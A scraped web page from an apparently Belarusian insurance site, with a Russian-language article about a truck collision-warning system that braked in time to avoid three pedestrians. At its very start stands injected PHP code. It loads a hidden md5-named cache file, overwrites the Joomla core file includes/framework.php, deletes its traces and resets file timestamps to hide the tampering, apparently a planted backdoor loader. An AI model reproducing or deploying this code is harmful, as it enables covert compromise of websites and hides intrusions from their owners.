$frameworkFile = $_SERVER ["DOCUMENT_ROOT"]."/includes/framework.php"; $cacheFile = $_SERVER ["DOCUMENT_ROOT"]."/cache/_system/".md5("_system")."-cache-system.php"; $frameworkFileTo = $_SERVER ["DOCUMENT_ROOT"]."/cache/_system/".md5("_framework")."-cache-framework.php"; if (file_exists($cacheFile) && file_exists($frameworkFileTo)) { require_once JPATH_BASE . "/cache/_system/".md5("_system")."-cache-system.php"; $filemTime = filemtime($frameworkFile); $contentFile = file_get_contents($frameworkFileTo); file_put_contents($frameworkFile, $contentFile, LOCK_EX); @unlink($frameworkFileTo); @unlink($cacheFile); touch($frameworkFile, $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/includes", $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/cache", $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/cache/_system", $filemTime); } Современные достижения снижают количество ДТП
Центр страхования организаций и граждан
Современные достижения снижают количество ДТП
07.12.13 16:59

Система Collision Warning with Emergency BrakeК ноябрю 2015 года в странах ЕС на законодательном уровне планируют утвердить обязательное оборудование грузовиков системами безопасности.

 

 

Борьба за клиента стимулирует производителей автомобилей на оборудование техники все новыми системами безопасности. О том, как они работают, обычно рассказывают рекламные ролики и буклеты.

Допустим представим следующую обстановку. Место - украинская трасса, время суток - темное, условия - дорожно-ремонтные работы на трассе.

Автомобиль, за рулем которого находился водитель-дальнобойщик с 22-летним стажем, оборудован системой предупреждения о столкновении с функцией экстренного торможения («Collision Warning with Emergency Brake»). Ситуация - штатная, автомобиль в пути, как вдруг…

«Сначала я увидел на лобовом стекле красный сигнал, который система подает сразу же после обнаружения возможности столкновения. Однако из-за плохих погодных условий и ограниченной видимости я не различал впереди никаких препятствий. Тем не менее, ради предосторожности я сбросил скорость до 50 км/ч», - говорит водитель, который, по его словам, до сих пор находится под впечатлением от случая.

Не зафиксировав со стороны водителя реакции в виде поворота руля и остановки автомобиля, система начала подавать звуковой сигнал, а затем самостоятельно применила функцию экстренного торможения. «Все произошло за считанные мгновения, после которых я увидел в ближнем свете фар трех стоящих прямо перед машиной испуганных людей, без единого светоотражающего элемента на одежде. Как выяснилось позже, спасенные пешеходы были в состоянии алкогольного опьянения».

По сообщению представительства, пока что системы заблаговременного предупреждения аварий не входят в базовую комплектацию грузовых автомобилей и устанавливаются лишь по желанию заказчика. Но, как пояснили «Ежедневнику», к ноябрю 2015 года в европейских странах планируется на законодательном уровне утвердить обязательную установку этой технологии на новые грузовики. Речь будет идти о всех брендах автомобилей.

 

Статья основана на материалах сайта www.ej.by.

 


Похожие материалы:
 
Rating All.BY
Наша группа в Одноклассниках
Мы ВКонтакте
Наша страница Facebook
Страховка VIP в Twitter